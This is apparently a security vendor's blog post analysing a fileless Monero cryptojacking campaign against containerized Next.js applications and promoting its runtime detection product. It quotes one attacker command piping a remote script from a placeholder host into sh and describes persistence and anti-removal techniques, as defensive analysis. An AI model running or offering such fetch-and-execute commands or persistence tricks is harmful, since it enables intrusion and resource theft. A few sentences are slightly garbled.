How Did Aqua Catch a Cryptomining Attack Hiding in Memory?

Why Do Scanners and Sensors Fail When the Attack Lives in Memory?

Security teams have invested heavily in scanning, posture management and shift left practices. These controls matter, but they are built to catch known problems before deployment. They were not built to stop an attacker who is already inside a running workload, executing in memory, and moving faster than a human-driven response can follow.

Most tools that claim runtime coverage use eBPF to observe kernel activity and surface alerts after the action has already been permitted. That is visibility, not control. By the time an alert reaches a queue, the binary has run, the payload has been written and the attacker has established persistence. Image scanning has no visibility into payloads introduced after a container starts running. EDR tools lack the workload-level context to understand what is actually happening inside a container. Perimeter controls cannot enforce outbound egress at the process level, which means a miner communicating with a known mining pool over a standard port looks identical to legitimate application traffic.

Stopping sophisticated runtime attacks requires a fundamentally different level of depth: process, file, network and memory activity collected from inside the running workload, combined with the ability to act on that telemetry before an unauthorized action completes.

Aqua uses runtime visibility plus patented inline enforcement to block unauthorized actions before they complete. Most runtime tools use eBPF to observe what happens and respond after the kernel allows it. Aqua acts before the kernel does. That means dropped binaries do not run, fileless malware is stopped at the execution point, and attack chains are broken in real time. Runtime is not just where Aqua looks, it is where it acts.

How Did Aqua See What Other Tools Missed?

Aqua’s runtime behavioral detection engine surfaced a multistage fileless XMRig cryptojacking campaign affecting containerized Node.js applications built with Next.js (React). The available telemetry showed malicious code executing through Node.js processes, but it did not provide enough evidence to identify the exact exploit used. Every observed stage of the campaign was designed to avoid conventional tooling. Here is what Aqua saw and where runtime enforcement can apply.

Initial access and execution: Execution began in memory through the Next.js exploit. The attacker then used wget <attacker_storage> -O- | sh to pull and run a first stage script directly from a remote location – nothing saved to disk.
That script fetched a packed loader, which unpacked directly into memory (memfd:upX). This was the fileless-execution artifact Aqua’s runtime detection keyed on before dropping the cryptominer to disk. This sequence reduced the attacker’s reliance on a conventional executable during the early stages of the attack, limiting opportunities for file-based scanners to inspect the loader.

Aqua’s Block Fileless Execution policy targets this behavior by identifying execution from memfd: and /dev/shm/ paths. When configured in enforcement mode, Aqua can block the in-memory execution inline without needing to recognize the specific payload. The in-memory execution inline without needing to recognize the specific payload.

Drift and implant deployment: Aqua observed hidden file execution along with guard and watchdog processes used to maintain the miner. Aqua’s behavioral detection identified newly introduced binaries that were not present in the original image. When Drift Prevention is operating in enforcement mode, those binaries are blocked before execution, preventing the implant from establishing a foothold in the workload.

Persistence: The attacker established persistence through cron jobs, init scripts in rc.d and shell profile modifications. The attacker also installed an SSH key as a backdoor on the compromised hosts. The miner and companion processes used names that resembled legitimate system services, but Aqua’s process lineage tracking exposed the relationship between the web application process and the unexpected child processes. Aqua found no evidence that the attacker accessed customer secrets, tokens or keys.

Anti removal behavior: In a later phase of the campaign, the attacker used chattr +i to set immutable flags on key files, preventing deletion even by processes running as root. The behavior shows that the attacker anticipated eventual discovery and attempted to make cleanup more difficult. Aqua’s runtime behavioral engine had already surfaced the campaign before this step became relevant.

Active mining: The XMRig miner communicated outbound to a known Monero mining pool over a standard port. Without process level context, that traffic scan be difficult to distinguish from legitimate application traffic. Aqua’s Cryptomining Detection policy identified the mining behavior at the process and network level and associated the outbound connection with the exact process generating it. When enforcement is enabled, Aqua can stop the connection and prevent the workload from continuing to mine.

What Is the Difference Between Seeing an Attack and Stopping One?

How Did Aqua Surface the Full Attack Chain?

Aqua’s runtime behavioral engine detections across process execution, drift signals, persistence activity and network egress events. The platform connected those signals into a coherent view of the campaign, from anomalous execution through active mining communication. Aqua Nautilus researchers then validated and documented the scope of the activity using the telemetry Aqua had already captured. The runtime environment included Alpine based containers running Node.js.

All technical indicators described in this post reflect observed attacker behavior. Specific indicators of compromise, including network destinations and payload hashes, are available to customers and security researchers upon request.

Is Your Environment Protected Against This Class of Attack?

1. Confirm that Drift Prevention is enabled and operating in enforcement mode for baselined workloads, not only audit mode.
2. Verify that Block Fileless Execution is active for workloads where memory- resident execution is not expected behavior.
3. Ensure cryptomining detections are visible and that egress controls can associate outbound connections with the processes generating them.
4. Review authorized_keys files and other persistence locations for unexpected changes inside workloads and hosts.